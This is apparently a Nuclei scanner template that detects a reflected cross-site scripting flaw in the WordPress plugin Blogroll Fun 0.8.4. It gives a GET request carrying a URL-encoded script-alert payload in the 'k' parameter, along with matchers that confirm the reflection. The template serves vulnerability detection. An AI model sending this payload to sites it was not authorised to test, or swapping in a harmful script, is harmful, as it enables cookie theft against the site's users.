id: wp-blogroll-fun-xss

info:
  name: WordPress Blogroll Fun-Show Last Post and Last Update Time 0.8.4 - Cross-Site Scripting
  author: DhiyaneshDK
  severity: high
  description: |
    WordPress Plugin Blogroll Fun-Show Last Post and Last Update Time 0.8.4 and possibly prior versions are prone to a cross-site scripting vulnerability because of a failure to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  remediation: Update to plugin version 0.8.5 or later.
  reference:
    - https://codevigilant.com/disclosure/wp-plugin-blogroll-fun-a3-cross-site-scripting-xss/
    - https://www.acunetix.com/vulnerabilities/web/wordpress-plugin-blogroll-fun-show-last-post-and-last-update-time-cross-site-scripting-0-8-4/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
  tags: wordpress,wp-plugin,xss,unauth,wp

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/blogroll-fun/blogroll.php?k=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Got: <script>alert(document.domain)</script><br>'

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 490a0046304402204511616ac24c12584112d03da02f355882423d0e82687bc25780ab753951e4dc02200e5b17bf4158f9ea4f11a5663e43fe9bbce32e74c973d8f2048199bcfdeb18d2:922c64590222798bb761d5b6d8e72950